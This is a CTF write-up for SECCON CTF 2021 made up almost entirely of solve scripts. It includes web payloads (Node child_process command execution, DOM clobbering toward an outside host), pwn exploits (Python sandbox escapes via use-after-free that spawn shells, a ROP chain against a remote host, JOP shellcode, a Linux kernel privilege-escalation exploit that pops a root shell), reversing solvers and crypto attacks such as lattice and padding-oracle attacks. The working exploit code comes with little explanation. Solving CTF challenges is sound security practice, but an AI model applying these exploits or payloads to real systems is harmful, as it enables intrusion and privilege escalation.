SECCON CTF 2021

Web

Vulnerabilities

Sequence as a Service 1 & 2

/api/getValue?sequence=(call,x)=>(["\\","]-require('child_process').execSync('id')}))//"])&n=1
http://web:3000/?window=ownerDocument&view=<object id=ownerDocument></object><a id=ownerDocument name=location href="http://ginoah.tw"></a>

Pwn

SecconTree

UAF + sandbox escape

typ = dbg.__class__.__class__
str = typ('')
int = typ(0)
tuple = typ(())
bytes = typ(b'')
bytearray = typ(dbg.Bytearray(0))


tree_addr = dbg.Id(Tree)

def p64(x): return x.to_bytes(8, 'little')

outer = b''.join([
    p64(1), p64(dbg.Id(bytearray)),
    p64(0x0ffffffffffffffe), p64(0x0fffffffffffffff),
    p64(0x0), p64(0x0),
])

oaddr = dbg.Id(outer)
dbg.Print(f'0x{oaddr:08x}')

buf = p64(1) + p64(tree_addr) + p64(oaddr+0x20) + p64(0)


y_obj = typ('Y', (), {'__repr__': lambda x: 'victim'})

x = Tree('root')
z = Tree('repl')

y = y_obj()
y = Tree(y)
x.add_child_left(y)
del y
y = None

def callback(_):
    dbg.Print('triggered')
    x.add_child_left(z)

hook_str = typ('Hook', (str,), {'__del__': callback})
hook_obj = typ('Hook', (), {'__repr__': lambda x: hook_str("victim")})
hook = hook_obj()

uaf = x.find(hook)
yaddr = dbg.Id(uaf)
dbg.Print(f'0x{yaddr:08x}')

rawuaf = dbg.Bytearray(buf)
dbg.Print(uaf)
mem = uaf.get_object()
dbg.Print(mem[tree_addr:tree_addr+0x10])

def get(x):
    rawuaf[16:24] = p64(x)
    return uaf.get_object()

def deref(x):
    return int.from_bytes(mem[x:x+8], 'little')

def wr(x, v):
    mem[x:x+8] = v.to_bytes(8, 'little')

cmd = '''
echo pwned
bash --login
'''

def func():
    for i in ().__dmbtt__.__cbtft__[0].__tvcdmbttft__():
        try:
            i.__joju__.__hmpcbmt__.hfu('sy'+'s').npevmft['o'+'s'].tztufn(dne)
            break
        except:
            pass

tab = {'b': 'a', 'c': 'b', 'd': 'c', 'e': 'd', 'f': 'e', 'g': 'f', 'h': 'g', 'i': 'h', 'j': 'i', 'k': 'j', 'l': 'k', 'm': 'l', 'n': 'm', 'o': 'n', 'p': 'o', 'q': 'p', 'r': 'q', 's': 'r', 't': 's', 'u': 't', 'v': 'u', 'w': 'v', 'x': 'w', 'y': 'x', 'z': 'y', '_': '_'}

func_addr = dbg.Id(func)
cod = get(deref(func_addr + 0x10))
names = tuple(''.join(tab[e] for e in n) for n in cod.co_names)
dbg.Print(names)
cod = cod.replace(co_names=names)
cod_addr = dbg.Id(cod)
wr(func_addr+0x10, cod_addr)
func()

UAF + fake type

typ = dbg.__class__.__class__
str = typ('')
int = typ(0)
bytearray = typ(dbg.Bytearray(0))

tree_addr = dbg.Id(Tree)

def u64(bytestring):
    num = 0
    for i in [7,6,5,4,3,2,1,0]:
        num<<=8
        num+=bytestring[i]
    return num

def p32(x): return x.to_bytes(4, 'little')

def p64(x): return x.to_bytes(8, 'little')

def fakePyObject_construct(ob_refcnt=0,ob_typ=0):
    return p64(ob_refcnt)+p64(ob_typ)

def fakePyVarObject_construct(PyObjectparam=(0,0),ob_size=0):
    return fakePyObject_construct(PyObjectparam[0],PyObjectparam[1])+p64(ob_size)

def fakeByteArray_construct(PyVarObjectParam=(0,0,0),ob_alloc=0,ob_addr=0,ob_start=0,ob_exports=0):
    return fakePyVarObject_construct(PyVarObjectParam[:2],PyVarObjectParam[-1])+p64(ob_alloc)+p64(ob_addr)+p64(ob_start)+p64(ob_exports)

def fakePyTypeObject_construct(PyVarObjectParam=(0,0,0),tp_name=0,tp_basicsize=0,tp_itemsize=0,tp_dealloc=0,tp_print=0,tp_getAttr=0,tp_setAttr=0,tp_as_async=0,tp_repr=0,tp_as_number=0,tp_as_sequence=0,tp_as_mapping=0,tp_hash=0,tp_call=0,tp_str=0,tp_getAttro=0,tp_setAttro=0,tp_as_buffer=0,tp_flags=0,tp_doc=0,tp_traverse=0,tp_clear=0,tp_richcompare=0,tp_weaklistoffset=0,tp_iter=0,tp_iternext=0,tp_methods=0,tp_members=0,tp_getset=0,tp_Base=0,tp_dic=0,tp_descr_get=0,tp_descr_set=0,tp_dictoffset=0,tp_init=0,tp_alloc=0,tp_new=0,tp_free=0,tp_is_gc=0,tp_Bases=0,tp_Mro=0,tp_cache=0,tp_suClasses=0,tp_weaklist=0,tp_del=0,tp_version_tag=0,tp_finalize=0):
    return fakePyVarObject_construct(PyVarObjectParam[:2],PyVarObjectParam[-1])+p64(tp_name)+p64(tp_basicsize)+p64(tp_itemsize)+p64(tp_dealloc)+p64(tp_print)+p64(tp_getAttr)+p64(tp_setAttr)+p64(tp_as_async)+p64(tp_repr)+p64(tp_as_number)+p64(tp_as_sequence)+p64(tp_as_mapping)+p64(tp_hash)+p64(tp_call)+p64(tp_str)+p64(tp_getAttro)+p64(tp_setAttro)+p64(tp_as_buffer)+p64(tp_flags)+p64(tp_doc)+p64(tp_traverse)+p64(tp_clear)+p64(tp_richcompare)+p64(tp_weaklistoffset)+p64(tp_iter)+p64(tp_iternext)+p64(tp_methods)+p64(tp_members)+p64(tp_getset)+p64(tp_Base)+p64(tp_dic)+p64(tp_descr_get)+p64(tp_descr_set)+p64(tp_dictoffset)+p64(tp_init)+p64(tp_alloc)+p64(tp_new)+p64(tp_free)+p64(tp_is_gc)+p64(tp_Bases)+p64(tp_Mro)+p64(tp_cache)+p64(tp_suClasses)+p64(tp_weaklist)+p64(tp_del)+p32(tp_version_tag)+p32(0)+p64(tp_finalize)

def fakePyMethodDef_construct(ml_name=0,ml_meth=0,ml_flags=0,ml_doc=0):
    return p64(ml_name)+p64(ml_meth)+p32(ml_flags)+p32(0)+p64(ml_doc)

outer = b''.join([
    p64(1), p64(dbg.Id(bytearray)),
    p64(0x0ffffffffffffffe), p64(0x0fffffffffffffff),
    p64(0x0), p64(0x0),
])

oaddr = dbg.Id(outer)
dbg.Print(f'0x{oaddr:08x}')

buf = p64(1) + p64(tree_addr) + p64(oaddr+0x20) + p64(0)


y_obj = typ('Y', (), {'__repr__': lambda x: 'victim'})

x = Tree('root')
z = Tree('repl')

y = y_obj()
y = Tree(y)
x.add_child_left(y)
del y
y = None

def callback(_):
    dbg.Print('triggered')
    x.add_child_left(z)

hook_str = typ('Hook', (str,), {'__del__': callback})
hook_obj = typ('Hook', (), {'__repr__': lambda x: hook_str("victim")})
hook = hook_obj()

uaf = x.find(hook)
yaddr = dbg.Id(uaf)
dbg.Print(f'0x{yaddr:08x}')

rawuaf = dbg.Bytearray(buf)
dbg.Print(uaf)
mem = uaf.get_object()
dbg.Print(mem[tree_addr:tree_addr+0x10])

def get(x):
    rawuaf[16:24] = p64(x)
    return uaf.get_object()

def deref(x):
    return int.from_bytes(mem[x:x+8], 'little')

def wr(x, v):
    mem[x:x+8] = v.to_bytes(8, 'little')

###
sy_plt = 0x4214f0


func = lambda :0
func_addr = dbg.Id(func)

cod = get(deref(func_addr + 0x10))
cod = cod.replace(co_names=())
cod_addr = dbg.Id(cod)

fakeTypeObject = fakePyTypeObject_construct(tp_getAttro=sy_plt)
fakeObject = fakePyVarObject_construct((u64(b'/bin/sh\x00')-2,dbg.Id(fakeTypeObject)+0x20),0)

dbg.Print(dbg.Hex(dbg.Id(fakeObject)))

wr(func_addr, u64(b'/bin/sh\x00'))
wr(func_addr+0x8, dbg.Id(fakeTypeObject)-0x8)
dbg.Print(dbg.Hex(func_addr),dbg.Hex(cod_addr))
dbg.Print('written')
cod.Sy()

gosubof

ROP goes brrr

from pwn import *

###Addr
#  libc2.31
gets_plt = 0x401040
bss = 0x404800
IO_file_underflow_offset = 0x93ba0

###ROPgadget
pop_rdi = 0x4011c3
pop_rbp = 0x40111d
leave = 0x401158
set_param = 0x4011ba
call_func = 0x4011a0
add_rbp_val_ebx = 0x40111c
one_gadget = 0xe6e79

###Exploit
r = remote('hiyoko.quals.seccon.jp',9002)

padding = b'\x00'*0x88
ROPchain = p64(pop_rdi)+p64(bss)+\
           p64(gets_plt)+\
           p64(pop_rbp)+p64(bss-8)+\
           p64(leave)
payload = padding+ROPchain
r.sendline(payload)

ROPchain = p64(pop_rdi)+p64(bss+0x400)+\
           p64(gets_plt)+\
           p64(set_param)+p64(((1<<32)+one_gadget-(IO_file_underflow_offset+383))&0xffffffff)+p64(bss-0x88+0x3d)+p64(0)+p64(0)+p64(0)+p64(0)+\
           p64(add_rbp_val_ebx)+\
           p64(set_param)+p64(0)+p64(bss)+p64(0)+p64(0)+p64(0)+p64(bss-0x88)+\
           p64(call_func)

r.sendline(ROPchain)
sleep(1)
r.sendline('M30W')

r.interactive()

pyast64++.pwn

The fix for argument length is not complete, assigning duplicate args still allows stack OOB

setupJOP()

def setupJOP():
    overwriteRIP(a,a)
    a = 0x04eb5854  #push rsp;          pop rax
    a = 0x682f00c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x686200c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x686900c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x686e00c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x682f00c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x687300c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x686800c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04ebc0fe  #inc al;
    a = 0x680000c6  #mov [rax], 0x10;   push ????
    a = 0x04eb905f  #pop rdi;           nop
    a = 0x04eb5f54  #push rsp;          pop rdi
    a = 0x04ebf631  #xor esi, esi
    a = 0x04ebd231  #xor edx, edx
    a = 0x04ebc031  #xor eax, eax
    a = 0x050f3bb0  #mov al, 0x3b;      syscall

def overwriteRIP(num1,num1):
    num1+=0x7

kone_gadget

/*
 * seccomp example with syscall reporting
 *
 * Copyright (c) 2012 The Chromium OS Authors <chromium-os-dev@chromium.org>
 * Authors:
 *  Kees Cook <keescook@chromium.org>
 *  Will Drewry <wad@chromium.org>
 *
 * The code may be used by anyone for any purpose, and can serve as a
 * starting point for developing applications using mode 2 seccomp.
 */
#define _GNU_SOURCE 1
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include "config.h"
#include "seccomp-bpf.h"

int pfd[2],tmp;


struct sock_filter filter[0x800];

static int install_syscall_filter(void)
{
    int i = 0;

    struct sock_filter table[] = {
        BPF_STMT(BPF_LD+BPF_K, 0x01eb9090),
        BPF_STMT(BPF_LD+BPF_K, 0x75cb010f),
        BPF_STMT(BPF_LD+BPF_K, 0x01ebc030),
        BPF_STMT(BPF_LD+BPF_K, 0x61c3c489),
        BPF_STMT(BPF_LD+BPF_K, 0xc3c78948),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
    };
    for(;i<0x680;i++)
        filter[i] = table[0];

    for(int k=1;k<6;k++)
        filter[i++] = table[k];


    /*

    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_K, 0x01eb9090),
        BPF_STMT(BPF_LD+BPF_K, 0x01eb9090),
        BPF_STMT(BPF_LD+BPF_K, 0x75cb010f),
        BPF_STMT(BPF_LD+BPF_K, 0x01ebc030),
        BPF_STMT(BPF_LD+BPF_K, 0x61c3c489),
        BPF_STMT(BPF_LD+BPF_K, 0xc3c78948),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
    };
    */
    struct sock_fprog prog = {
        .len =  i,
        .filter = filter,
    };
    for(int i=0;i<0x10;i++){
        int fd = socket(1,2,0);
        setsockopt(fd,SOL_SOCKET,26,&prog,sizeof(prog));
    }


    return 0;

}

#define prepare_kernel_cred 0xffffffff81073c60
#define poprdi 0xffffffff81138833
#define commit_creds 0xffffffff81073ad0
#define mov_rdi_rax x+15
#define swapgs 0xffffffff8161900e
#define iretq 0xffffffff8160257d
#define poprbp 0xffffffff81000599

// #0xffffffff8107d6b8: mov rdi, rax; mov eax, dword ptr [rip + 0xdb9267]; leave; cmp rax, rdi; cmovb rax, rdi; ret;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
    __asm__ (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*] status has been saved.");
}


void spawn_shell() {
    if (!getuid()) {
        system("/bin/sh");
    } else {
        puts("[*] spwan shell error!");
    }
    exit(0);
}


int main(int argc, char *argv[])
{
    save_status();
    signal(SIGSEGV,spawn_shell);
    install_syscall_filter();

    size_t x = 0xffffffffc0015246+2; 
    //scanf("%lx",&x);
    unsigned addr = (unsigned)x;
    mmap( (addr&(~0xfff))-0x10000 ,0x20000,7,34,-1,0);
    size_t *rop = (addr&(~0xff));
    int i=0;

    rop[i++] = poprdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = poprbp;
    rop[i++] = &rop[i+0x8];
    rop[i++] = 0xffffffff8107d6b8UL;
          
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;
    rop[i++] = poprdi+1;

    rop[i++] = commit_creds;
    rop[i++] = swapgs;
    rop[i++] = iretq;

    rop[i++] = (size_t) spawn_shell; // rip

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    syscall(1337,x);

    return 0;
}

Reverse

pyast64++.rev

from pwn import *

def encrypt(inp):
    res = inp

    K = b'SECCON2021'
    S = [0xff-i for i in range(0x100)]
    j = 0
    for i in range(0x100):
        j = (j+S[i]+K[i%10])&0xff
        S[i],S[j] = S[j],S[i]

    permute = [pow(i,3,0x43)&0x3f for i in range(0x40)]

    for k in range(10):
        res = [S[res[i]] for i in range(0x40)]
        res2 = []
        for i in range(8):
            v = list(''.join([bin(res[i*8+j])[2:].rjust(8,'0') for j in range(8)][::-1])[::-1])
            for j in range(0x40):
                v[j], v[permute[j]] = v[permute[j]], v[j]
            v = ''.join(v)
            for j in range(8):
                res2.append(int(v[j*8:(j+1)*8][::-1],2))
        for i in range(0x40):
            res2[i]^=K[k]
        res = res2
    return res

def decrypt(res):
    K = b'SECCON2021'
    S = [0xff-i for i in range(0x100)]
    j = 0
    for i in range(0x100):
        j = (j+S[i]+K[i%10])&0xff
        S[i],S[j] = S[j],S[i]
    invS = [0 for i in range(0x100)]
    for i in range(0x100):
        invS[S[i]] = i

    permute = [pow(i,3,0x43)&0x3f for i in range(0x40)]

    for k in range(9,-1,-1):
        res = [res[i]^K[k] for i in range(0x40)]
        res2 = []
        for i in range(8):
            v = list(''.join([bin(res[i*8+j])[2:].rjust(8,'0') for j in range(8)][::-1])[::-1])
            for j in range(0x3f,-1,-1):
                v[j], v[permute[j]] = v[permute[j]], v[j]
            v = ''.join(v)
            for j in range(8):
                res2.append(invS[int(v[j*8:(j+1)*8][::-1],2)])
        res = res2
    return res

target = [0x4b,0xcb,0xbe,0x7e,0xb8,0xa9,0x1b,0x4a,0x23,0x53,0x71,0x41,0xcf,0xc1,0x1b,0x89,0x25,0x62,0x0,0x44,0xdb,0x71,0x15,0xb4,0xdf,0x87,0x5,0x81,0xbd,0xc8,0xf5,0x64,0x75,0x3e,0xc0,0x65,0xef,0x5c,0xb6,0x88,0x9f,0xeb,0xa6,0x5a,0x4a,0x85,0x53,0x4e,0x6,0xe1,0x65,0x67,0x52,0x4e,0x90,0xcd,0x82,0xee,0xaf,0xf5,0xac,0x3e,0x9d,0xb0]
print(bytes(decrypt(target)))

<flag>

import binascii
from pwn import *

K = b'NekoPunch'
enc = binascii.unhexlify('6dbf84f73cf6a112268b09525ea550a665e21cb2e3e13af7e3ea0ecb52f5b9cda5b6522b1e978734553f1d7956d4af94bfc3f4d68c8fba9eeecf4035550b9106f70d57d1a6cdaf3211eaaa78d71a9038b71be621241e8b608a43b107f8860f543ab0189aa063800de4bae7d0b11045b8')

def ROL8(n,r):
    return ((n<<r)|(n>>(8-r)))&0xff

def QR(state,a,b,c,d):
    state[b]^=ROL8(((state[a]+state[d])&0xff),1)
    state[c]^=ROL8(((state[b]+state[a])&0xff),2)
    state[d]^=ROL8(((state[c]+state[b])&0xff),3)
    state[a]^=ROL8(((state[d]+state[c])&0xff),4)

def QRinv(state,a,b,c,d):
    state[a]^=ROL8(((state[d]+state[c])&0xff),4)
    state[d]^=ROL8(((state[c]+state[b])&0xff),3)
    state[c]^=ROL8(((state[b]+state[a])&0xff),2)
    state[b]^=ROL8(((state[a]+state[d])&0xff),1)

def encrypt(p,K):
    L = len(p)
    c = b''
    state = list(K[:8])+[0 for i in range(8)]
    for i in range(0,L,8):
        for j in range(8):
            print(j,i+j)
            state[j+8] = p[i+j]
        for j in range(128):
            QR(state,0,4,8,12)
            QR(state,5,9,13,1)
            QR(state,10,14,2,6)
            QR(state,15,3,7,11)
            QR(state,0,1,2,3)
            QR(state,5,6,7,4)
            QR(state,10,11,8,9)
            QR(state,15,12,13,14)
        c+=bytes(state)
    return c

def decrypt(c,K):
    L = len(c)
    p = b''
    state = list(c[-8:])+[0 for i in range(8)]
    state = [0 for i in range(16)]
    for i in range(0,L,16):
        for j in range(16):
            state[j] = c[i+j]
        for j in range(128):
            QRinv(state,15,12,13,14)
            QRinv(state,10,11,8,9)
            QRinv(state,5,6,7,4)
            QRinv(state,0,1,2,3)
            QRinv(state,15,3,7,11)
            QRinv(state,10,14,2,6)
            QRinv(state,5,9,13,1)
            QRinv(state,0,4,8,12)
        p+=bytes(state[8:])
    return p

print(decrypt(enc,K))

sed programming

import re
from collections import Counter


charset = set('I1l')

encode = []
decode = []
transition = []

def escape(x):
    return ''.join(e if e in charset else f'<{e}>' for e in x)

with open('./checker.sed') as f:
    for line in f:
        if line.strip() == ':t':
            break

    for line in f:
        line = line.strip()[2:-4]
        src, dst = map(escape, line.split('/'))

        if all(e in charset for e in src + dst) or src == '<^>':
            transition.append((src, dst))
        elif any(e in charset for e in src):
            decode.append((src, dst))
        else:
            encode.append((src, dst))

encode = sorted(encode)
decode = sorted(decode)

src_symbols = Counter()
dst_symbols = Counter()


for lst in [encode, decode, transition]:
    for src, dst in lst:
        src_symbols.update(re.findall(r'1[^1]*1', src))
        dst_symbols.update(re.findall(r'1[^1]*1', dst))
sk = set(src_symbols.keys())
dk = set(dst_symbols.keys())
assert sk == dk
print(len(sk))
for k in sorted(sk):
    print(k, src_symbols[k], dst_symbols[k])

sk = sorted(sk)
mapping = {
    '1II1': 'S',
    '1IIIl1': 'X',
    '1IlIl1': 'A',
    '1IIll1': 'B',
    '1IIlI1': '<',
    '1l1': '>',
    '1IlI1': ']',
}
sk = [e for e in sk if e not in mapping]
mapping.update({e: f'{i:x}' for i, e in enumerate(sk)})
for k, v in mapping.items():
    print(f'{v}: {k}')

def sub(x):
    return mapping[x.group(0)]
    # return f'<{mapping[x.group(0)]}>'

for lst in [encode, decode, transition]:
    nxt = []
    for src, dst in lst:
        src = re.sub(r'1[^1]*1', sub, src)
        dst = re.sub(r'1[^1]*1', sub, dst)
        nxt.append((src, dst))
    lst.clear()
    lst.extend(nxt)


reject = []
cleanup = []
trans1 = []
trans2 = []
trigger = []

for src, dst in transition:
    if src == '<^>':
        trigger.append((src, dst))
    elif 'X' in src:
        cleanup.append((src, dst))
    elif 'X' in dst:
        reject.append((src, dst))
    elif dst.endswith('S') and all(e in 'SAB' for e in src):
        trans1.append((src, dst))
    else:
        trans2.append((src, dst))

reject = sorted(reject)
trans1 = sorted(trans1)

for lst in [encode, decode, reject, cleanup, trans1, trans2, trigger]:
    print('')
    for src, dst in lst:
        tag = ''
        print(f'{src:50s} {dst:50s} {tag}')


encode = {src[1:-1]: dst for src, dst in encode}
reject = set(src for src, dst in reject)
trans1 = dict(trans1)

def trans(x):
    x = x.group(0)
    if x in reject:
        raise EOFError(x)
    return trans1[x]

def emu(inp):
    inp = ''.join(encode[e] for e in inp)

    while inp != 'S':
        org = inp
        if re.search(r'S[AB]+S[AB]', inp) is not None:
            while re.search(r'S[AB]+S[AB]', inp) is not None:
                try:
                    inp = re.sub(r'S[AB]+S[AB]', trans, inp)
                except EOFError:
                    return inp

        for src, dst in trans2:
            if src in inp:
                org = inp
                inp = inp.replace(src, dst)
                break
        else:
            # print('Start', inp)
            inp = trigger[0][1] + inp

possible = '023456789ABCDEFGHJKLMNOPQRSTUVWXYZ_abcdefghijkmnopqrstuvwxyz{}'

prefix = 'SECCON{'

from tqdm import tqdm, trange
for _ in trange(10):
    res = [(len(emu(prefix + e + 'Z'*4)), e) for e in tqdm(possible, leave=False)]
    print(sorted(res))
    size, e = min(res)
    prefix += e
    print(size, e, prefix)

Crypto

Sign Wars

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad
import random
import ast


# P-384 Curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
curve = EllipticCurve(GF(p), [a, b])
order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
Z_n = GF(order)
gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = curve(gx, gy)

with open('./output.txt') as f:
    sig1 = ast.literal_eval(f.readline())
    sig2 = ast.literal_eval(f.readline())


# Solve by LLL (biased random)
"""
s = (h + rx) / k0
k0 = (k3 * 2^256) + (k1) + (h * 2^128)
k0 = Z + (h * 2^128)
k0 = Z + H
h < 2^128
s = (h + rx) / (Z + H)
Z + H = (h + rx) / s
k3 t256 + k1 + h t128 = h/s + r/s x
k3 t256 + k1 + h (t128 - 1/s) = r/s x


t256         1   0   0
q            0   0   0
r/s          0   1   0
(t128-1/s)   0   0   1

k1           k3  x   h
"""

q = order
W = 10
L = zero_matrix(ZZ, W*2+2, W*2+2)

for i, (r,s,*_) in enumerate(sig1[:W]):
    
    t128, t256 = 1 << 128, 1 << 256
    invs = inverse_mod(s, q)
    # assert ((k3 * t256 + k1 + h * t128 - h*invs - r*invs*x) % q) == 0

    u = r * invs % q
    v = (t128 - invs) % q

    off = i*2
    L[off+0, off] = ZZ(t256) * 2^256
    L[off+1, off] = ZZ(q) * 2^256
    L[-2,    off] = ZZ(u) * 2^256
    L[-1,    off] = ZZ(v) * 2^256
    L[off+0, off+1] = 1 * 2^256
L[-2,-2] = 1 * 1
L[-1,-1] = 1 * 2^256

B = L.LLL()
for row in B:
    x = abs(row[-2])
    h = abs(row[-1])
    if h == 0 or h % 2^256 != 0:
        continue
    h = h // 2^256

    ok = True
    for i, (r,s,*_) in enumerate(sig1):
        # s = (h + rx) / k
        kk = int((h + r*x) * inverse_mod(s, q) % q)
        hh = (kk >> 128) & ((1 << 128) - 1)
        if hh != h:
            ok = False
            break
    if ok:
        print('Found')
        print(f'x = {x}')
        print(f'h = {h}')
        break
print(long_to_bytes(x))


# Solve by reconstructing PRNG
from mt import MT19937, tobin, untamper, tamper

mt = MT19937()
remain = None

for i, (r,s,*_) in enumerate(sig1):
    # s = (h + rx) / k
    kk = int((h + r*x) * inverse_mod(s, q) % q)
    k1 = (kk >>   0) & ((1 << 128) - 1)
    k2 = (kk >> 128) & ((1 << 128) - 1)
    k3 = (kk >> 256) & ((1 << 128) - 1)
    assert k2 == h

    for b in tobin(k1, n=128):
        remain = mt.add(b)
    for b in tobin(k3, n=128):
        remain = mt.add(b)

assert remain == 0
rec = mt.reconstruct('python')

M = []
v = []
for i, (r,s,*_) in enumerate(sig2):
    # print(k == rec.getrandbits(384))
    k = rec.getrandbits(384)
    # s = (z2 + r*d) / k
    # s*k = z2 + r*d
    M.append([1, r])
    v.append(s*k % q)
M = Matrix(Z_n, M)
v = vector(Z_n, v)
print(long_to_bytes(x) + long_to_bytes(M.solve_right(v)[1]))

oOoOoO

from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random
from telnetlib import Telnet

conn = Telnet('oooooo.quals.seccon.jp', int(8000))
p = int(conn.read_until(b'\n')[4:])
S = int(conn.read_until(b'\n')[4:])

N = 128
# N = 4
message = b""
v = []
for _ in range(N):
    r = random.getrandbits(1)
    message += b"o" if r == 1 else b"O"
    v.append(r)
print(message)

# p = getPrime(len(message) * 5)
# S = bytes_to_long(message) % p
T = (S - bytes_to_long(b'O' * N)) % p

M = []
for i in range(N):
    m = b' '.rjust(i+1, b'\0').ljust(N, b'\0')
    m = bytes_to_long(m) % p
    M.append(m)

# print(p)
# print(T)
# print(Matrix(Zmod(p), M) * vector(Zmod(p), v))
# print(S)

M.extend([-T, p])
L = identity_matrix(len(M))
L[:, -1] = Matrix(ZZ, M).T
B = L.BKZ()

ans = B[0]
assert ans[-1] == 0
if ans[-2] < 0:
    ans = -ans

assert all(0 <= e <= 1 for e in ans)
print(ans[:-2] == vector(v))

msg = b''.join(b'o' if e else b'O' for e in ans[:-2])
print(msg)
conn.write(msg + b'\n')
conn.interact()
conn.close()

cerberus

import base64
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.strxor import strxor
import signal

from telnetlib import Telnet

conn = Telnet('cerberus.quals.seccon.jp', int(8080))
conn.read_until(b'\n')
spell = conn.read_until(b'\n')
c = base64.b64decode(spell)
ref_iv, ref_c = c[:16], c[16:]

def oracle(ivs, c):
    for iv in ivs:
        conn.write(base64.b64encode(iv+c).replace(b'\n', b'') + b'\n')
    res = []
    conn.read_until(b'spell:')
    for _ in ivs:
        res.append(conn.read_until(b'\n').endswith(b':)\n'))
    return res

def block_oracle(iv0, prefix, block, prev=b'\0'*16):
    plain = bytearray(b'\0' * 16)
    for p in range(15, -1, -1):
        iv = strxor(iv0, plain)
        iv = strxor(iv, pad(b'\0'*p, 16))
        m = bytearray(b'\0' * 16)
        ivs = []
        for c in range(256):
            m[p] = c
            ivs.append(strxor(iv, m))
        res = oracle(ivs, prefix+block)
        assert sum(res) == 1, sum(res)
        plain[p] = next(iter(i for i, e in enumerate(res) if e))
        print(strxor(plain, prev))
    return strxor(plain, prev)

b0 = b'\0' * 16
p0 = block_oracle(ref_iv, ref_c, b0)

prev = strxor(p0, ref_iv)
pfix = ref_c + b0
flag = b''
for i in range(0, len(ref_c), 16):
    print('\n' + '='*10, i, '='*10)
    p = block_oracle(ref_iv, pfix, ref_c[i:i+16], prev)
    prev = strxor(p0, strxor(p, ref_c[i:i+16]))
    flag += p
    print(flag)

XXX

import os
import ast


with open('./output.txt') as f:
    p = ast.literal_eval(f.readline())
    params = ast.literal_eval(f.readline())
    
Fp = GF(p)

"""
b1 - b2 = y1^2 - y2^2 - (a1-a2) * x

b1-b2 b1-b3 1 0
a1-a2 a1-a3 0 1
p     0     0 0
0     p     0 0

ydiff ydiff x
"""

alpha = 1 << int(int(p).bit_length() / 2.5)

bds, ads, yds, mul = [], [], [], [1, x]
for a1, b1, *_ in params[:1]:
    for a2, b2, *_ in params:
        bdiff, adiff = (b1-b2)%p, (a1-a2)%p
        if bdiff == 0 or adiff == 0:
            continue
        bds.append(bdiff)
        ads.append(adiff)
        

L = zero_matrix(ZZ, len(bds)+2, len(bds)+2)
L[0,:-2] = Matrix(ZZ, bds)
L[1,:-2] = Matrix(ZZ, ads)
L[2:,:-2] = identity_matrix(ZZ, len(bds)) * p
L[0, -2] = alpha^2
L[1, -1] = alpha

B = L.LLL()
ans = B[0]
if ans[-1] < 0:
    ans = -ans
assert ans[-2] == alpha^2
assert ans[-1] % alpha == 0
x = ans[-1] // alpha
print(int(x).to_bytes(128, 'big'))

Misc